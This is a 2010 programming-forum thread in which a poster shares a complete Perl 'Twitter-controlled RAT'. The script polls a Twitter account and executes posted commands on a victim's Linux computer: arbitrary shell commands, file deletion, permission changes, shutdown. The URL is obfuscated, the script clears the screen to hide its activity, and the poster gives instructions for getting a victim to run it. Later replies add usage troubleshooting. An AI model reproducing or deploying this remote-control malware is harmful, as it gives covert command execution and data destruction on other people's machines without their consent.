Go4Expert

Go4Expert (http://www.go4expert.com/)
-   Perl (http://www.go4expert.com/articles/perl-tutorials/)
-   -   Twitter Controlled RAT (Mobile accessible) (http://www.go4expert.com/articles/twitter-controlled-rat-mobile-accessible-t22241/)

gotroot 29May2010 00:12

Twitter Controlled RAT (Mobile accessible)
 
For my first thread i will post my new twitter bot/rat.

This will only work on linux and possibly mac

Its more of a funny prank than a rat, but it can be used for malicious purposes.

You need to get your victim to open the .pl file on their computer and leave it open, if your using this on your friends, just go to their house and open it, then when theyre on, use your mobile to post tweet commands and mess with their computer :P.

This version currently only works for linux!

It connects to twitter every 5 seconds, and looks for any command.

All you do is post one of the commands in my program on your twitter.

The script reads the command and executes it.

To find all the commands and explanations type:
Code:

perl tweet.pl -h
in your terminal and you can also execute any command by posting this on twitter
Code:

::EXEC.cmd.::
change cmd to the command you want to execute.
Code:

::EXEC.cat shutdown -p.::
The syntax for my commands is
Code:

::COMMAND.parameters.::
The reason for this syntax is so the script can be sure to pick up the right code

Here it is.
Code:

#!/usr/bin/perl -w
# tweet.pl
# twitter remote shell
# executes commands from twitter
# linux version
# coded by gotroot-
# usage: perl tweet.pl <twitter_username>

# command help: perl tweet.pl -h
use LWP::UserAgent;
use HTTP::Request;
my $num = 'yes';
my $acc = $ARGV[0];
if($acc eq '-h') {
system('clear');
print "\n";
print "###############################################\n";
print "#        Twitter RAT Command List            #\n";
print "#      Post these on your twitter account    #\n";
print "#        Delete them to stop function        #\n";
print "###############################################\n";
print "#      Command      #        Function        #\n";
print "###############################################\n";
print "#  ::MKDIR.dir.::  # Makes directory \"dir\"  #\n";
print "#  ::EXIT.shell.::  #        Quits bot        #\n";
print "#  ::CHMOD.file.::  #      rwx for file      #\n";
print "#    ::RM.file.::  #      Deletes file      #\n";
print "#::CP.file1.file2.::#  copies file1 to file2  #\n";
print "#    ::CD.dir.::    # goes to directory dir  #\n";
print "#  ::EJECT.def.::  #  ejects default drive  #\n";
print "#  ::EXEC.cmd.::  #  Executes command      #\n";
print "# ::SHUTDOWN.cmp.:: #  Shuts computer down    #\n";
print "# ::SHUTDOWN.rb.::  #    Reboots computer    #\n";
print "###############################################\n";
print "#      The following are variables            #\n";
print "###############################################\n";
print "#    dir - Change to directory to use        #\n";
print "# file - Change to file to execute command on #\n";
print "#file1, file2 - Change these to the copy files#\n";
print "#  cmd - change to linux command to execute  #\n";
print "###############################################\n";
print "#                  Examples                  #\n";
print "###############################################\n";
print "#                ::MKDIR.gotroot.::          #\n";
print "#    This makes a directory named gotroot    #\n";
print "#            ::CHMOD.setup.exe.::            #\n";
print "#      This gives rwx perms to setup.exe      #\n";
print "#              ::RM.readme.txt.::            #\n";
print "#              Deletes readme.txt            #\n";
print "#        ::CP.default.php.index.php.::      #\n";
print "#        Copies default.php to index.php    #\n";
print "#            Then deletes default.php        #\n";
print "###############################################\n";
exit();
}
my $twitter = 'ht'.'tp:'.'//ww'.'w.twit'.'ter.c'.'om'.'/';
my $acurl = $twitter .$acc;
my $OS = $^O;
if($OS =~ m/win/gi) {
print "# --> You are running windows, must have linux. Program will exit\n";
exit();
}
sub dothis() {
system('clear');
sleep(5);
my $request = HTTP::Request->new(GET=>$acurl);
my $ua = new LWP::UserAgent;
$ua->timeout(10);
my $response = $ua->request($request);
if($response->is_success){
my $code = $response->content;
if($code =~ m/::MKDIR.(.*?).::/gi){
my $a = $1;
system('mkdir '.$a);
} else {
if($code =~ m/::EXIT.shell.::/gi){
system('clear'); # remove visisble logs
exit();
} else {
if($code =~ m/::CHMOD.(.*?).::/gi){
my $a = $1;
system('chmod og=rwx '.$a);
} else {
if($code =~ m/::RM.(.*?).::/gi){
my $a = $1;
system('rm -f '.$a);
} else {
if($code =~ m/::CP.(.*?).(.*?).::/gi){
my ($a,$b) = ($1,$2);
system('CP -f '.$a.' '.$b);
} else {
if($code =~ m/::CD.(.*?).::/gi){
my $a = $1;
system('cd '.$a);
} else {
if($code =~ m/::EJECT.def.::/gi){
system('eject');
} else {
if($code =~ m/::EXEC.(.*?).::/gi){
my $a = $1;
system('exec '.$a);
} else {
if($code =~ m/::SHUTDOWN.cmp.::/gi){
system("shutdown -p");
} else {
if($code =~ m/::SHUTDOWN.rb.::/gi){
system("shutdown -r");
}
}
}
}
}
}
}
}
}
}
}
}
dothis() while($num eq 'yes');
# One bot to trick to rule them all

Hope you can find a good use for this, i just made it to trick my friends.
(not that making your friends computer shut down every 5 seconds is a bad use :P)

:cool: gotroot->out

gotroot 29May2010 01:31

Re: Twitter Controlled RAT (Mobile accessible) [PERL]
 
typo at end of code
its meant to be
#One bot to trick them all

its a comment anyway so it dont matter

unni krishnan.r 29May2010 13:54

Re: Twitter Controlled RAT (Mobile accessible)
 
Nice post please how to acces in ma mobile

unni krishnan.r 29May2010 13:57

Re: Twitter Controlled RAT (Mobile accessible)
 
sorry this is not working

gotroot 29May2010 15:26

Re: Twitter Controlled RAT (Mobile accessible)
 
the computer you run it on must have linux.
the shutdown commands need authenticating so leave them out.
use it on an account that has no subscribers or messages on it

unni krishnan.r 31May2010 16:55

Re: Twitter Controlled RAT (Mobile accessible)
 
still probs

shabbir 1Jun2010 18:15

Re: Twitter Controlled RAT (Mobile accessible)
 
If you liked this article do nominate this article for Article of the month - May 2010

shabbir 17Jun2010 19:20

Re: Twitter Controlled RAT (Mobile accessible)
 
You can vote for this article for Article of the month - May 2010. Vote now.


All times are GMT +5.5. The time now is 01:14.